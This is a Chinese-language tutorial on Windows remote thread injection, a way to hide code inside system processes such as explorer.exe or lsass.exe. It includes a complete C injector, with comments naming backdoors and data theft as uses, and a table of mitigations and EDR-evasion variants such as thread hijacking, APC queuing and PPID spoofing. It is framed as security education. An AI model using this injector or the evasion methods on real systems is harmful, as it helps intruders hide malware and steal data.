在 NT 內核架構下,**任務管理器 (Ctrl+Alt+Del) 枚舉的是進程 (EPROCESS)**,而非線程。只要代碼以**獨立進程**形式運行,就無法逃離進程列表。但若將代碼作為**線程**注入到**合法系統進程** (如 `explorer.exe`, `svchost.exe`, `lsass.exe`) 地址空間執行,則:
這就是**「無進程」代碼執行**的核心邏輯,也是早期 Rootkit、木馬 (如 Back Orifice 2000) 的經典隱身技術。
OpenProcess(PROCESS_ALL_ACCESS, ...):獲取目標進程句柄 (需 SeDebugPrivilege / 管理員 / 同用戶)。VirtualAllocEx(hProc, ..., MEM_COMMIT|RESERVE, PAGE_EXECUTE_READWRITE):在目標進程分配**可執行、可讀寫**記憶體 (RWX,現代系統受 DEP/CFG 限制極大)。WriteProcessMemory(hProc, pRemoteMem, pLocalCode, size, ...):將本地代碼/數據複製到遠程分配區。CreateRemoteThread(hProc, ..., pRemoteMem, ...):在目標進程創建線程,從注入代碼入口開始執行。// 1. 遠程線程入口函數 (必須獨立、無運行時依賴、位置無關代碼最佳)
DWORD WINAPI RemoteThreadEntry(LPVOID lpParam) {
// 這裡執行核心邏輯:Hook、監控、後門、數據竊取等
// 注意:在此線程中調用 CRT/STL 極其危險 (堆/鎖/異常隔離)
// 建議:純 Win32 API、手動映射所需 DLL、或反射式加載完整 DLL
return 0;
}
int main(int argc, char* argv[]) {
if (argc < 2) { printf("Usage: %s \n", argv[0]); return 1; }
DWORD dwTargetPID = strtoul(argv[1], NULL, 10);
// 2. 打開目標進程 (需 PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION)
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPID);
if (!hProcess) { printf("OpenProcess failed: %u\n", GetLastError()); return 1; }
// 3. 分配遠程記憶體 (4KB 對齊,足夠存放 Shellcode 或小型函數)
const SIZE_T CODE_SIZE = 4096;
LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, CODE_SIZE,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteCode) { printf("VirtualAllocEx failed: %u\n", GetLastError()); CloseHandle(hProcess); return 1; }
// 4. 寫入代碼 (此處為演示,實際需複製完整函數體,注意位置無關性)
// 實際工程中常用「手動映射 DLL」或「反射式注入」替代裸函數複製
if (!WriteProcessMemory(hProcess, pRemoteCode, (LPCVOID)RemoteThreadEntry, CODE_SIZE, NULL)) {
printf("WriteProcessMemory failed: %u\n", GetLastError());
VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
CloseHandle(hProcess); return 1;
}
// 5. 創建遠程線程執行
DWORD dwThreadId = 0;
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, &dwThreadId);
if (!hThread) {
printf("CreateRemoteThread failed: %u\n", GetLastError());
VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
CloseHandle(hProcess); return 1;
}
printf("Remote thread created: TID=%u, Entry=0x%p\n", dwThreadId, pRemoteCode);
// 6. 可選:等待線程結束、獲取退出碼、清理記憶體
WaitForSingleObject(hThread, INFINITE);
DWORD exitCode; GetExitCodeThread(hThread, &exitCode);
printf("Thread exited with code: %u\n", exitCode);
VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
| 挑戰 | 經典解法 (NT/XP) | 現代環境 (Vista+/Win10/11) 挑戰與對策 |
|---|---|---|
| **代碼位置相關性** | 函數指針直接複製,假設基址相同 (ASLR 未普及) | **ASLR 強制開啟**:基址隨機。必須用 **位置無關 Shellcode** 或 **手動映射 DLL** (自行處理重定位、IAT 修復、TLS 回調)。 |
| **DEP (NX 位)** | 默關閉或可關,`PAGE_EXECUTE_READWRITE` 直接可用 | **DEP 強制開啟**:堆/棧不可執行。`VirtualAllocEx` 必須 `PAGE_EXECUTE_READ` (寫入後 `VirtualProtectEx` 轉 RX),或用 **ROP 鏈** 繞過。 |
| **CFG (Control Flow Guard)** | 不存在 | **CFG 保護間接調用目標**:`CreateRemoteThread` 入口必須是有效 CFG 目標 (編譯時標記)。繞過需利用未受保護模組、或禁用 CFG (需高權限)。 |
| **ACPP / ETW / EDR 監控** | 無 | **行為檢測極敏感**:`OpenProcess(PROCESS_ALL_ACCESS)` + `VirtualAllocEx(RWX)` + `CreateRemoteThread` 是經典 IoC。現代紅隊改用: • **線程劫持** (暫停現有線程修改 RIP/RSP) • **APC 排隊** (`QueueUserAPC`) • **COM 接口注入** • **父進程欺騙** + **PPID 欺騙** • **簽名驅動級注入** |
| **Session 0 隔離** | 服務與用戶同 Session | 服務在 Session 0,用戶進程在 Session 1+,**跨 Session 注入受限**,需同 Session 目標 (如 `explorer.exe`)。 |
| **PPL (Protected Process Light)** | 不存在 | 關鍵系統進程 (`Lsass`, `Csrss`, `Smss` 等) 受保護,**拒絕 `OpenProcess(PROCESS_ALL_ACCESS)`**,無法注入。 |
理解此技術**不是為了製造惡意代碼**,而是為了:
「遠程線程注入」是 Windows 攻防史上最經典的「進程隱身」技術。從 NT 4.0 的暢行無阻,到 Win11 的層層設防 (ASLR+DEP+CFG+CET+PPL+EDR),其演變史就是 **Windows 安全防禦體系建設史** 的縮影。掌握其原理、變體與檢測對抗,是安全研究者、防禦工程師、系統程式開發者的必修課。